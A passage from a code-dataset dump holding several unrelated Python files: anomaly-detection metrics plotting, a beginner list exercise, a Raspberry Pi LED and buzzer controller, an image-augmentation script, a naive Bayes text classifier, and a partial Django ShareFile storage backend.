range(features.shape[1])]\n\n df = pd.DataFrame(features, columns=feat_cols)\n df[\"maha\"] = self.mahalanobis_distances.SVG.ravel()\n df[\"l\"] = self.patch_labels.ravel()\n df[\"label\"] = df[\"l\"].apply(lambda l: \"Anomaly\" if l == 2 else \"No anomaly\")\n\n # For reproducability of the results\n np.random.seed(42)\n rndperm = np.random.permutation(df.shape[0])\n\n N = 10000\n df_subset = df.loc[rndperm[:N],:].copy()\n\n data_subset = df_subset[feat_cols].values\n\n time_start = time.time()\n tsne = TSNE(n_components=2, verbose=1)\n tsne_results = tsne.fit_transform(data_subset)\n logger.info(\"t-SNE done! Time elapsed: {} seconds\".format(time.time() - time_start))\n \n df_subset[\"tsne-2d-one\"] = tsne_results[:,0]\n df_subset[\"tsne-2d-two\"] = tsne_results[:,1]\n fig = plt.figure(figsize=(16,10))\n fig.suptitle(os.path.basename(self.filename).replace(\".h5\", \"\"), fontsize=20)\n\n LABEL_COLORS = {\n \"No anomaly\": \"#4CAF50\", # No anomaly\n \"Anomaly\": \"#F44336\" # Contains anomaly\n }\n\n sns.scatterplot(\n x=\"tsne-2d-one\", y=\"tsne-2d-two\",\n hue=\"label\",\n palette=LABEL_COLORS,\n data=df_subset,\n legend=\"brief\",\n alpha=0.4,\n size=\"maha\"\n )\n\n # plt.show()\n plt.savefig(self.filename.replace(\".h5\", \"_TSNE.png\"))\n\n def calculate_metrics(self):\n \"\"\"Calculate the metrics for all considered variants using the features in this PatchArray\"\"\"\n assert self.contains_mahalanobis_distances, \"Can't calculate ROC without mahalanobis distances calculated\"\n # (Name, ROC_AUC, AUC_PR, f1)\n results = list()\n\n extractor = os.path.basename(self.filename).replace(\".h5\", \"\")\n\n gauss_filters = [None, (0,1,1), (0,2,2),\n (1,0,0), (1,1,1), (1,2,2)]\n # gauss_filters = [None, (0,1,1), (0,2,2), (0,3,3),\n # (1,0,0), (1,1,1), (1,2,2), (1,3,3),\n # (2,0,0), (2,1,1), (2,2,2), (2,3,3)]\n other_filters = [None, \"erosion\", \"dilation\", \"erosion+dilation\"]\n\n val = self.validation\n\n for metric in self.METRICS:\n relevant = metric.get_relevant(val)\n labels = metric.get_labels(relevant)\n for other_filter in other_filters:\n for gauss_filter in gauss_filters:\n # Don't compute gauss filters (in image space) for mean metrics (they take the average anyways)\n if metric.mean and gauss_filter != None and gauss_filter[1] > 0:\n continue\n\n title = \"Metrics for %s (%s, filter:%s + %s)\" % (extractor, metric.name, gauss_filter, other_filter)\n logger.info(\"Calculating %s\" % title)\n \n scores = dict()\n for n in sorted(self.mahalanobis_distances.dtype.names):\n name = n.replace(\"fake\", \"simple\")\n\n maha = relevant.mahalanobis_distances[n]\n\n if gauss_filter is not None:\n maha = utils.gaussian_filter(maha, sigma=gauss_filter)\n \n if other_filter is not None:\n struct = generate_binary_structure(2, 1)\n if struct.ndim == 2:\n z = np.zeros_like(struct, dtype=np.bool)\n struct = np.stack((z, struct, z))\n \n if other_filter == \"erosion\":\n maha = grey_erosion(maha, structure=struct)\n elif other_filter == \"dilation\":\n maha = grey_dilation(maha, structure=struct)\n elif other_filter == \"erosion+dilation\":\n maha = grey_erosion(maha, structure=struct)\n maha = grey_dilation(maha, structure=struct)\n\n scores[name] = metric.get_values(maha)\n \n filename = os.path.join(consts.METRICS_PATH, \"%s_%s_%s_%s.jpg\" % (extractor, metric.name, gauss_filter, other_filter))\n result = self.__calculate_roc__(title, labels, scores, filename)\n for model, roc_auc, auc_pr, max_f1, fpr0, fpr1, fpr2, fpr3, fpr4, fpr5 in result:\n results.append((extractor, metric.name, model, gauss_filter, other_filter, roc_auc, auc_pr, max_f1, fpr0, fpr1, fpr2, fpr3, fpr4, fpr5))\n \n return results\n\n\n def __calculate_roc__(self, title, labels, scores, filename=None):\n \"\"\" Calculate the metrics and create ROC and PR diagrams \"\"\"\n # (Name, ROC_AUC, AUC_PR, f1)\n results = list()\n\n no_skill = labels[labels == 2].size / float(labels.size)\n\n dpi = 96 if filename is None else 300\n\n fig, ax = plt.subplots(1, 2, figsize=(10, 6), dpi=dpi)\n fig.suptitle(title)\n\n lw = 1\n \n ax[0].plot([0, 1], [0, 1], color=\"navy\", lw=lw, linestyle=\"--\", label=\"No skill\", alpha=0.5)\n\n f_scores = np.linspace(0.2, 0.8, num=4)\n for f_score in f_scores:\n x = np.linspace(0.01, 1)\n y = f_score * x / (2 * x - f_score)\n l, = ax[1].plot(x[y >= 0], y[y >= 0], color=\"gray\", alpha=0.2)\n ax[1].annotate(\"f1=%.1f\" % f_score, xy=(0.85, y[45] + 0.02), color=\"gray\")\n\n ax[1].plot([0, 1], [no_skill, no_skill], color=\"navy\", lw=lw, linestyle=\"--\", alpha=0.5)\n \n tprs = [0.9, 0.95, 0.99, 0.995, 0.999, 0.9999]\n\n # with h5py.File(self.filename, \"r+\") as hf:\n for name, score in scores.items():\n if name.startswith(\"BalancedDistribution\"):\n if not \"/%i/\" % int(np.mean(self.mahalanobis_distances[\"SVG\"])) in name:\n continue\n name = \"BalancedDistributionSVG\"\n\n fpr, tpr, thresholds_roc = metrics.roc_curve(labels, score, pos_label=2)\n roc_auc = metrics.auc(fpr, tpr)\n \n precision, recall, thresholds_pr = metrics.precision_recall_curve(labels, score, pos_label=2)\n auc_pr = metrics.auc(recall, precision)\n f1 = [2 * ((p * r) / (p + r)) if (p + r) != 0 else 0 for p, r in zip(precision, recall)]\n max_f1_index = np.argmax(f1)\n max_f1 = f1[max_f1_index]\n\n if \"SpatialBinSingle\" in name:\n if \"simple\" in name:\n if \".50\" in name:\n color = \"#90CAF9\" # blue lighten-3\n else:\n color = \"#2196F3\" # blue\n else:\n if \".50\" in name:\n color = \"#CE93D8\" # purple lighten-3\n else:\n color = \"#9C27B0\" # purple\n elif \"SpatialBin\" in name:\n if \"simple\" in name:\n if \".50\" in name:\n color = \"#A5D6A7\" # green lighten-3\n else:\n color = \"#4CAF50\" # green\n else:\n if \".50\" in name:\n color = \"#FFE082\" # amber lighten-3\n else:\n color = \"#FFC107\" # amber\n # elif \"MVG\" in name:\n # color = \"#E91E63\" # pink \n else:\n color = \"#F44336\" # red \n\n if \"Balanced\" in name:\n style = \":\" # dotted line style\n elif \"MVG\" in name:\n style = \"--\" # dashed line style\n else:\n style = \"-\" # solid line style\n \n\n max_f1_index_roc = (np.abs(thresholds_roc - thresholds_pr[max_f1_index])).argmin()\n l = ax[0].plot(fpr, tpr, linestyle=style, color=color, lw=lw, label=name)\n ax[0].plot(fpr[max_f1_index_roc], tpr[max_f1_index_roc], marker='o', markersize=5, color=color)\n\n ax[1].plot(recall, precision, linestyle=style, color=color, lw=lw)\n ax[1].plot(recall[max_f1_index], precision[max_f1_index], marker='o', markersize=5, color=color)\n\n fprs = tuple([fpr[(np.abs(tpr - t)).argmin()] for t in tprs])\n\n results.append((name, roc_auc, auc_pr, max_f1) + fprs)\n # ax[2].plot(f1, lw=lw)\n # hf[n].attrs[\"ROC_AUC\"] = roc_auc\n # hf[n].attrs[\"AUC_PR\"] = auc_pr\n # hf[n].attrs[\"Max. f1\"] = max_f1\n \n ax[0].set_xlim([0.0, 1.0])\n ax[0].set_ylim([0.0, 1.03])\n ax[0].set_xlabel(\"False Positive Rate\")\n ax[0].set_ylabel(\"True Positive Rate\")\n ax[0].set_title(\"ROC curve\")\n ax[0].grid(True, color=\"lightgray\")\n \n ax[1].set_xlim([0.0, 1.0])\n ax[1].set_ylim([0.0, 1.03])\n ax[1].set_xlabel(\"Recall\")\n ax[1].set_ylabel(\"Precision\")\n ax[1].set_title(\"Precision/recall curve\")\n ax[1].grid(True, color=\"lightgray\")\n \n # ax[2].set_xlabel(\"Threshold index\")\n # ax[2].set_ylabel(\"f1 score\")\n # ax[2].set_title(\"f1 score\")\n # ax[2].legend(loc=\"upper right\")\n \n fig.subplots_adjust(left=0.08, right=0.95, top=0.90, bottom=0.3)\n\n handles, labels = ax[0].get_legend_handles_labels()\n legend = fig.legend(handles, labels, loc='lower center', prop={'size': 5}, ncol=2)\n\n # # get the width of your widest label, since every label will need \n # # to shift by this amount after we align to the right\n # shift = max([t.get_window_extent(renderer=fig.canvas.get_renderer()).width for t in legend.get_texts()])\n # for t in legend.get_texts():\n # t.set_ha('right') # ha is alias for horizontalalignment\n # t.set_position((shift,0))\n\n if filename is not None:\n \n plt.savefig(filename, dpi=dpi)\n else:\n plt.show()\n \n plt.close(fig)\n\n return results\n\n def calculate_patch_labels(self):\n \"\"\"Calculate per-pixel labels from annotation images (red=anomaly).\n Annotated images need to be in a folder called \"Labels\" at the same level as the \"Images\" folder.\n \"\"\"\n if not self.contains_features or self.filename is None:\n logger.error(\"Can only do this on feature files\")\n return\n \n # Reset to unknown\n self.patch_labels.fill(0)\n\n for i in tqdm(range(self.root.shape[0]), desc=\"Calculating patch labels\", file=sys.stderr):\n frame = self.root[i, 0, 0]\n mask_file = frame.get_image_path().replace(\"Images\", \"Labels\")\n if os.path.exists(mask_file):\n mask = numpy.array(cv2.imread(mask_file), dtype=np.uint8)\n mask = (mask[..., 0] <= 5) & (mask[..., 1] <= 5) & (mask[..., 2] >= 250)\n self.root.patch_labels[i, ...] = (resize(mask, self.shape[1:], order=0, anti_aliasing=False, mode=\"constant\") > 0.5) + 1\n\n # mask = resize(mask, (self.image_size, self.image_size), order=0, anti_aliasing=False, mode=\"constant\")\n\n # for y, x in np.ndindex(self.shape[1:]):\n # rf = self.calculate_receptive_field(y, x, fake=True)\n # mean = mask[int(rf[0][0]):int(rf[2][0]), int(rf[0][1]):int(rf[2][1])].mean()\n # self.patch_labels[i, y, x] = 2 if (mean > 0.5) else 1\n # self.patch_labels_values[i, y, x] = mean\n \n # fig, axs = plt.subplots(1, 3, constrained_layout=True)\n # axs[0].imshow(mask)\n # axs[0].set_title(\"Mask\")\n\n # axs[1].imshow(self.patch_labels[i, ...])\n # axs[1].set_title(\"Patch labels\")\n\n # axs[2].imshow(resize(mask, self.shape[1:], order=1, anti_aliasing=True, mode=\"constant\") > 0.5)\n # axs[2].set_title(\"Mask resized\")\n\n # plt.show()\n else:\n self.patch_labels[i, ...] = frame.labels\n\n with h5py.File(self.filename, \"r+\") as hf:\n # Remove the old locations dataset\n if \"patch_labels\" in hf.keys():\n del hf[\"patch_labels\"]\n \n hf.create_dataset(\"patch_labels\", data=self.patch_labels)\n\nif __name__ == \"__main__\":\n from common import Visualize\n \n p = PatchArray(consts.FEATURES_FILE)\n\n vis = Visualize(p)\n vis.show()","sub_path":"anomaly_detector/common/patchArray.py","file_name":"patchArray.py","file_ext":"py","file_size_in_byte":53237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"629865998","text":"\"\"\"Exercício Python 082: Crie um programa que vai ler vários números e colocar\nem uma lista. Depois disso, crie duas listas extras que vão conter apenas os\nvalores pares e os valores ímpares digitados, respectivamente. Ao final, mostre\no conteúdo das três listas geradas.\"\"\"\n\na = [] # original\n\nfor c in range(5):\n a.append(int(input('Digite um número: ')))\n\np = [] # par\ni = [] # ímpar\n\nfor d in a:\n if d % 2 == 0:\n p.append(d)\n else:\n i.append(d)\n\nprint(f'\\nLista Completa: {a} \\nPares: {p} \\nImpares: {i}')\n","sub_path":"ExerciceList/ex082.py","file_name":"ex082.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"622003246","text":"#!/usr/bin/env python3\n\n# External module imports\nimport os\nimport sys\nimport termios\nimport tty\nimport RPi.GPIO as io\nimport time\n\n# Pin Setup:\nio.setmode(io.BCM) # Broadcom pin-numbering scheme\nio.setwarnings(True)\n\n# Time Definitions:\nspeed = .05\ninterval = 1\n\n# Pin Definitons:\npwr_switch_pin = 4 # Power Switch Tail\n\ntl_pin1 = 13 # LED Twinkle Lights 1\ntl_pin2 = 19 # LED Twinkle Lights 2\n\nrpin = 17\ngpin = 27\nbpin = 22\n\nbuzzer_pin = 26\n\n# io Setup:\nio.setup(tl_pin1, io.OUT) # Twinkle Pin\nio.setup(tl_pin2, io.OUT) # Twinkle Pin\nio.setup(pwr_switch_pin, io.OUT) # Power Switch Tail\n\nio.setup(rpin, io.OUT) # Led strip -> R\nio.setup(gpin, io.OUT) # Led strip -> G\nio.setup(bpin, io.OUT) # Led strip -> B\n\nio.setup(buzzer_pin, io.IN)\nio.setup(buzzer_pin, io.OUT)\n\nr = io.PWM(rpin, 100)\ng = io.PWM(gpin, 100)\nb = io.PWM(bpin, 100)\n\n# Initial state for LEDs:\nio.output(tl_pin1, io.LOW)\nio.output(tl_pin2, io.LOW)\nio.output(pwr_switch_pin, io.HIGH)\nr.start(0)\ng.start(0)\nb.start(0)\n\ndef buzz(pin, pitch, duration): #create the function “buzz” and feed it the pitch and duration)\n if(pitch == 0):\n time.sleep(duration)\n return\n \n period = 1.0 / pitch # In physics, the period (sec/cyc) is the inverse of the frequency (cyc/sec)\n delay = period / 2 # Calculate the time for half of the wave \n cycles = int(duration * pitch) # The number of waves to produce is the duration times the frequency\n\n for i in range(cycles): # Start a loop from 0 to the variable “cycles” calculated above\n io.output(pin, True) # Set pin 18 to high\n time.sleep(delay) # Wait with pin 18 high\n io.output(pin, False) # Set pin 18 to low\n time.sleep(delay) # Wait with pin 18 low\n\ndef slp(pause):\n time.sleep(pause)\n\ndef toggle_pin(pin, pause = None):\n io.output(pin, not io.input(pin))\n if pause is not None:\n time.sleep(pause)\n\ndef pin_on(pin, pause = None):\n io.output(pin, io.HIGH)\n if pause is not None:\n time.sleep(pause)\n\ndef pin_off(pin, pause = None):\n io.output(pin, io.LOW)\n if pause is not None:\n time.sleep(pause)\n\ndef fade_in(speed, interval, pin1, pin2 = None):\n if pin2 is None:\n for dc in range(0, 101, interval):\n pin1.ChangeDutyCycle(dc)\n time.sleep(speed)\n else:\n for dc in range(0, 101, interval):\n pin1.ChangeDutyCycle(dc)\n time.sleep(.01)\n pin2.ChangeDutyCycle(dc)\n time.sleep(speed)\n\ndef fade_out(speed, interval, pin1, pin2 = None):\n if pin2 is None:\n for dc in range(100, -1, -interval):\n pin1.ChangeDutyCycle(dc)\n time.sleep(speed)\n else:\n for dc in range(100, -1, -interval):\n pin1.ChangeDutyCycle(dc)\n time.sleep(.01)\n pin2.ChangeDutyCycle(dc)\n time.sleep(speed)\n\ndef getKey():\n fd = sys.stdin.fileno()\n old = termios.tcgetattr(fd)\n new = termios.tcgetattr(fd)\n new[3] = new[3] & ~termios.ICANON & ~termios.ECHO\n new[6][termios.VMIN] = 1\n new[6][termios.VTIME] = 0\n termios.tcsetattr(fd, termios.TCSANOW, new)\n key = None\n try:\n key = os.read(fd, 3)\n finally:\n termios.tcsetattr(fd, termios.TCSAFLUSH, old)\n return key\n\nprint(\"Here we go! Press CTRL+C to exit\")\n\ntry:\n while True:\n c = str(getKey())\n\n if c == \"b'o'\":\n print(\"You pressed: O!\")\n toggle_pin(tl_pin1, .25)\n toggle_pin(tl_pin2, .1)\n toggle_pin(tl_pin2, .25)\n toggle_pin(tl_pin1, .1)\n toggle_pin(tl_pin1, .25)\n toggle_pin(tl_pin2, .1)\n toggle_pin(tl_pin2, .25)\n toggle_pin(tl_pin1, .1)\n toggle_pin(tl_pin1, .25)\n toggle_pin(tl_pin2, .1)\n toggle_pin(tl_pin2, .25)\n toggle_pin(tl_pin1, .1)\n\n if c == \"b'p'\":\n print(\"You pressed: P!\")\n pin_on(tl_pin1, .5)\n pin_off(tl_pin1, .25)\n pin_on(tl_pin2, .5)\n pin_off(tl_pin2, .25)\n\n if c == \"b's'\":\n print(\"SOS!\")\n # 3 Short\n toggle_pin(tl_pin1, .15)\n toggle_pin(tl_pin1, .075)\n toggle_pin(tl_pin1, .15)\n toggle_pin(tl_pin1, .075)\n toggle_pin(tl_pin1, .15)\n toggle_pin(tl_pin1, .075)\n # 3 long\n toggle_pin(tl_pin2, .5)\n toggle_pin(tl_pin2, .075)\n toggle_pin(tl_pin2, .5)\n toggle_pin(tl_pin2, .075)\n toggle_pin(tl_pin2, .5)\n toggle_pin(tl_pin2, .075)\n # 3 Short\n toggle_pin(tl_pin1, .15)\n toggle_pin(tl_pin1, .075)\n toggle_pin(tl_pin1, .15)\n toggle_pin(tl_pin1, .075)\n toggle_pin(tl_pin1, .15)\n toggle_pin(tl_pin1, .075)\n\n if c == \"b'r'\":\n print(\"You pressed: R!\")\n fade_in(speed, interval, r)\n fade_out(speed, 20, r)\n\n if c == \"b'g'\":\n print(\"You pressed: G!\")\n fade_in(speed, interval, g)\n fade_out(speed, 20, g)\n\n if c == \"b'b'\":\n print(\"You pressed: B!\")\n fade_in(speed, interval, b)\n fade_out(speed, 20, b)\n\n if c == \"b'm'\":\n print(\"You pressed: m!\")\n fade_in(speed, interval, r, b)\n fade_out(speed, 20, r, b)\n\n if c == \"b'c'\":\n print(\"You pressed: c!\")\n fade_in(speed, interval, b, g)\n fade_out(speed, 20, b, g)\n\n if c == \"b'y'\":\n print(\"You pressed: y!\")\n fade_in(speed, interval, r, g)\n fade_out(speed, 20, r, g)\n\n if c == \"b'q'\":\n print(\"You pressed: q!\")\n buzz(buzzer_pin, 500, 1)\n\n if c == \"b'w'\":\n print(\"You pressed: q!\")\n buzz(buzzer_pin, 500, 1)\n\n\nexcept KeyboardInterrupt: # If CTRL+C is pressed, exit cleanly:\n print(\"Exiting!\")\n time.sleep(.5)\n r.stop()\n g.stop()\n b.stop()\n io.output(pwr_switch_pin, io.LOW)\n io.cleanup() # cleanup all io\nexcept Exception as e:\n print('There was another Error!')\n e = sys.exc_info()[0]\n print(e)\n io.cleanup() # cleanup all io\n","sub_path":"game/blinker.py","file_name":"blinker.py","file_ext":"py","file_size_in_byte":6280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"281266929","text":"import argparse\nimport os\nimport pandas as pd\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom sklearn.model_selection import train_test_split\nimport shutil\nimport math\nfrom utils.data_utils import *\n\n\ndef data_augmentation(x_data, y_data, augmentation_multiplier=4):\n import random\n def randomTranspose(img, u=0.5):\n if random.random() < u:\n img = img.transpose(1, 0, 2) # cv2.transpose(img)\n return img\n\n batch_size = 128 if len(x_data) > 128 else min(4, len(x_data))\n augmented_data_size = int(augmentation_multiplier * len(x_data))\n X_augmented_shape = (augmented_data_size, x_data.shape[1], x_data.shape[2], x_data.shape[3])\n Y_augmented_shape = (augmented_data_size, y_data.shape[1])\n\n X_augmented = np.empty(X_augmented_shape)\n Y_augmented = np.empty(Y_augmented_shape)\n counter = 0\n\n datagen = ImageDataGenerator(vertical_flip=True, horizontal_flip=True, preprocessing_function=randomTranspose)\n print(len(X_augmented))\n for x_batch, y_batch in datagen.flow(x_data, y_data, batch_size=batch_size, seed=0):\n X_augmented[counter:counter + len(x_batch)] = x_batch\n Y_augmented[counter:counter + len(y_batch)] = y_batch\n counter += len(x_batch)\n if counter >= augmented_data_size:\n print(\"break counter %d\" % counter)\n break\n\n return X_augmented, Y_augmented\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--in_size', type=int, help='(int) The size of the image', default='128')\n parser.add_argument('-mult', '--augmentation_multiplier', type=int, help='(int) Multiplier for augmented data generation',\n default='4')\n parser.add_argument('-seed', '--random_seed', type=int,\n help='(int) Random seed for train test split',\n default='0')\n parser.add_argument('-dev', '--dev',\n help='(String) Specify if run in development mode to use small network and subset of data.',\n action='store_true', default=False)\n parser.add_argument('-val', '--validation_only',\n help='(String) Only create augmented data for validation set.',\n action='store_true', default=False)\n args = parser.parse_args()\n\n work_dir = os.path.dirname(os.path.realpath(__file__))\n inputs_dir = os.path.join(work_dir, 'inputs')\n print(\"Read inputs from: %s\" % inputs_dir)\n df_train = pd.read_csv(os.path.join(inputs_dir, 'train_v2.csv'))\n\n labels, label_map, inv_label_map = get_labels()\n print(labels)\n\n train_data_dir = os.path.join(inputs_dir, 'train-jpg')\n if not os.path.exists(train_data_dir):\n print(\"Error: Mising data folder: %s\" % train_data_dir)\n exit(-1)\n\n # Assume all networks requires same input size, don't check it\n if args.dev:\n X, Y = load_data(df_train, train_data_dir, label_map, img_size = args.in_size, subset_size=200)\n else:\n X, Y = load_data(df_train, train_data_dir, label_map, img_size = args.in_size)\n print(\"Sape of X: %s, shape of Y: %s\" % (X.shape, Y.shape))\n\n print('Splitting to train and test...')\n data_split_seed = args.random_seed\n X_train, X_valid, Y_train, Y_valid = train_test_split(X, Y, test_size=0.2, random_state=data_split_seed)\n\n data_dir = os.path.join('augmented',\n 'train_augmented_size_' + str(args.in_size) + '_mult_' + str(args.augmentation_multiplier) + '_seed_' + str(data_split_seed))\n if os.path.exists(data_dir):\n shutil.rmtree(data_dir)\n os.makedirs(data_dir)\n\n if not args.validation_only:\n print(\"Create augmented training data\")\n X_train_augmented, Y_train_augmented = data_augmentation(X_train, Y_train, augmentation_multiplier=args.augmentation_multiplier)\n\n print(\"Saving X_train_augmented.npz of shape %s\" % str(X_train_augmented.shape))\n np.savez_compressed(os.path.join(data_dir, 'X_train_augmented.npz'), X_train_augmented)\n print(\"Saving Y_train_augmented.npz of shape %s\" % str(Y_train_augmented.shape))\n np.savez_compressed(os.path.join(data_dir, 'Y_train_augmented.npz'), Y_train_augmented)\n print(\"Saving X_train.npz of shape %s\" % str(X_train.shape))\n np.savez_compressed(os.path.join(data_dir, 'X_train.npz'), X_train)\n print(\"Saving Y_train.npz of shape %s\" % str(Y_train.shape))\n np.savez_compressed(os.path.join(data_dir, 'Y_train.npz'), Y_train)\n\n # Free memory\n X_train_augmented = None\n Y_train_augmented = None\n X_train = None\n Y_train = None\n\n\n print(\"Create augmented validation data\")\n X_valid_augmented, Y_valid_augmented = data_augmentation(X_valid, Y_valid, augmentation_multiplier=args.augmentation_multiplier)\n\n print(\"Saving X_valid_augmented.npz of shape %s\" % str(X_valid_augmented.shape))\n np.savez_compressed(os.path.join(data_dir, 'X_valid_augmented.npz'), X_valid_augmented)\n print(\"Saving Y_valid_augmented.npz of shape %s\" % str(Y_valid_augmented.shape))\n np.savez_compressed(os.path.join(data_dir, 'Y_valid_augmented.npz'), Y_valid_augmented)\n print(\"Saving X_valid.npz of shape %s\" % str(X_valid.shape))\n np.savez_compressed(os.path.join(data_dir, 'X_valid.npz'), X_valid)\n print(\"Saving Y_valid.npz of shape %s\" % str(Y_valid.shape))\n np.savez_compressed(os.path.join(data_dir, 'Y_valid.npz'), Y_valid)\n print(\"Augmented data saved to %s\" % data_dir)","sub_path":"data_augmentation.py","file_name":"data_augmentation.py","file_ext":"py","file_size_in_byte":5530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"570142458","text":"import time\nimport os\nimport jieba\nfrom sklearn.feature_extraction.text import TfidfTransformer, CountVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.externals import joblib\n\n\ndef preprocess(path):\n \"\"\"文本分词处理\"\"\"\n text_with_space = \"\"\n textfile = open(path, 'r', encoding=\"utf8\").read()\n textcute = jieba.cut(textfile)\n for word in textcute:\n text_with_space += word + ''\n return text_with_space\n\n\ndef loadtrainset(path, classtag):\n allfiles = os.listdir(path)\n processed_textset = []\n allclasstags = []\n for thisfile in allfiles:\n print(thisfile)\n path_name = path + \"/\" + thisfile\n processed_textset.append(preprocess(path_name))\n allclasstags.append(classtag)\n return processed_textset, allclasstags\n\n\n# 数据集处理 得到训练集、标签\nprocessed_textdata1, class1 = loadtrainset(\"./dataset/train/hotel\", \"宾馆\")\nprocessed_textdata2, class2 = loadtrainset(\"./dataset/train/travel\", \"旅游\")\ntrian_data = processed_textdata1 + processed_textdata2\nclasstags_list = class1 + class2\n\n#\ncount_vector = CountVectorizer()\nvector_matrix = count_vector.fit_transform(trian_data)\n\n# TF-IDF\ntrain_tfidf = TfidfTransformer(use_idf=False).fit_transform(vector_matrix)\n\nclf = MultinomialNB().fit(train_tfidf, classtags_list)\n\n# 测试集\ntestset = []\n\npath = \"./dataset/test/hotel\"\nallfiles = os.listdir(path)\nhotel = 0\ntravel = 0\n\nfor thisfile in allfiles:\n path_name = path + \"/\" + thisfile\n new_count_vector = count_vector.transform([preprocess(path_name)])\n new_tfidf = TfidfTransformer(use_idf=False).fit_transform(new_count_vector)\n\n predict_result = clf.predict(new_tfidf)\n print(''.join(predict_result) + \" \" + thisfile)\n","sub_path":"NaiveBeyes_course/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"128893757","text":"import os\nimport re\nfrom io import BytesIO\nfrom urlparse import urljoin\nfrom django.conf import settings\nfrom pysharefile import ShareFile\nfrom django.core.files.base import File\nfrom django.core.files.storage import Storage\n\n__author__ = 'A. Mert KARA'\n__date__ = '2014-04-29'\n__company__ = 'Castle Hall Alternatives'\n__url__ = 'www.castlehallalternatives.com'\n\nDEBUG = getattr(settings, \"DEBUG\", False)\nSF_TIMEOUT = getattr(settings, \"SF_TIMEOUT\", 100)\nSF_LOCATION = getattr(settings, \"SF_LOCATION\", \"/OpsDMedia/\")\nSF_HOSTNAME = getattr(settings, \"SF_HOSTNAME\")\nSF_CLIENT_ID = getattr(settings, \"SF_CLIENT_ID\")\nSF_CLIENT_SECRET = getattr(settings, \"SF_CLIENT_SECRET\")\nSF_USERNAME = getattr(settings, \"SF_USERNAME\")\nSF_PASSWORD = getattr(settings, \"SF_PASSWORD\")\nSF_MEDIA_URL = getattr(settings, \"SF_MEDIA_URL\")\nSF_OVERWRITE = getattr(settings, \"SF_OVERWRITE\", False)\n\n\nclass SFStorage(Storage):\n\n def __init__(self, location=SF_LOCATION, hostname=SF_HOSTNAME, debug=DEBUG,\n client_id=SF_CLIENT_ID, client_secret=SF_CLIENT_SECRET,\n username=SF_USERNAME, password=SF_PASSWORD,\n media_url=SF_MEDIA_URL, timeout=SF_TIMEOUT, overwrite=SF_OVERWRITE):\n\n self.location = location\n self.media_url = media_url\n self.overwrite = overwrite\n self.connection = None\n self.hostname = hostname\n self.debug = debug\n self.client_id = client_id\n self.client_secret = client_secret\n self.username = username\n self.password = password\n self.timeout = timeout\n\n def _connect(self):\n if self.connection is None:\n self.connection = ShareFile(\n hostname=self.hostname,\n debug=self.debug,\n client_id=self.client_id,\n client_secret=self.client_secret,\n username=self.username,\n password=self.password,\n timeout=self.timeout\n )\n self.connection.auth()\n\n def _open(self, name, mode=\"rb\"):\n \"\"\" Opens a file, mode is ignored\n\n Args:\n name (str): Path to the file\n mode (str: Ignored\n\n Returns (django.core.files.base.File):\n Returns the opened file\n\n Raises:\n IOError: If pysharefile fails to get the file\n \"\"\"\n self._connect()\n name = self.join_paths(self.location, name)\n name = self.unify_path(name)\n file_data = BytesIO()\n content = File()\n\n # Get the file from SF and write to a File object\n file_data = self.connection.get(name)\n\n if file_data is None:\n raise IOError(\"Couldn't open the path \" + name)\n\n content.write(file_data.getvalue())\n\n return content\n\n def _save(self, name, content):\n \"\"\" Saves a file to the given path\n\n Args:\n name (str): Path to save the file to\n content (django.core.files.base.File): File object\n\n Returns (str):\n File path\n\n Raises:\n IOError: If pyshare fails to put the file\n \"\"\"\n self._connect()\n name = self.unify_path(name)\n name = self.get_available_name(name)\n orig_name = name\n name = self.join_paths(self.location, name)\n file_data = BytesIO()\n result = None\n\n content.open()\n file_data.write(content.read())\n content.close()\n\n result = self.connection.put(file_data, name)\n\n if result is None:\n raise IOError(\"Couldn't save the path \" + name)\n\n return orig_name\n\n def delete(self, name):\n \"\"\" Deletes a file in the given path\n\n Args:\n name (str): File path\n\n Returns (str):\n True if the file is deleted, false otherwise\n\n Raises:\n IOError: If pyshare fails to delete the file\n \"\"\"\n self._connect()\n name = self.join_paths(self.location, name)\n name = self.unify_path(name)\n\n result = self.connection.delete(name)\n\n if not result:\n raise IOError(\"Couldn't delete the path \" + name)\n\n return result\n\n def url(self, name):\n \"\"\" Gets the download url of a file. It doesn't load the actual url unless /download is appended to the end of\n the url. The reason is to avoid waiting times for getting the urls during a page render.\n\n Args:\n name (str): File path\n\n Returns (str):\n Download url\n\n Raises:\n IOError: If pyshare fails to get the url of the file\n \"\"\"\n self._connect()\n if name.endswith(\"/download\"):\n name = self.join_paths(self.location, name)\n name = self.unify_path(name)\n\n result = self.connection.url(name.rstrip(\"/download\"))\n\n if not result:\n raise IOError(\"Couldn't get the download url for the path \" + name)\n\n else:\n result = self.join_paths(self.media_url, name)\n\n return result\n\n def exists(self, name):\n \"\"\" Checks whether the given path exists or not\n\n Args:\n name (str): File path\n\n Returns (str):\n File path\n \"\"\"\n self._connect()\n name = self.join_paths(self.location, name)\n name = self.unify_path(name)\n\n return self.connection.exists(name)\n\n def get_available_name(self, name):\n \"\"\" Suggests a new file/folder name if it already exists in the given path\n\n Args:\n name (str): File path\n\n Returns (str):\n New file path, complying with Django storage standards: http://goo.gl/hz5SpQ\n \"\"\"\n name = self.get_valid_name(name)\n\n while True:\n exists = self.exists(name)\n\n if exists and not self.overwrite:\n name = self.unify_path(name)\n count = 1\n\n path_root = os.path.split(name.rstrip(\"/\"))[0]\n last = os.path.split(name.rstrip(\"/\"))[1]\n\n root = os.path.splitext(last)[0]\n ext = os.path.splitext(last)[1]\n result = re.search(r\"[0-9]+$\", root)\n\n if result is not None:\n count = result.group(0)\n root = root.rstrip(count)\n root = root.rstrip(\"_\")\n root += \"_\" + str(int(count) + 1)\n else:\n root = root.rstrip(\"_\")\n root += \"_\" + str(count)\n\n name = os.path.join(path_root, root + ext)\n\n else:\n break\n\n return name\n\n def get_valid_name(self, name):\n \"\"\" Checks the filename and truncates the filename if\n 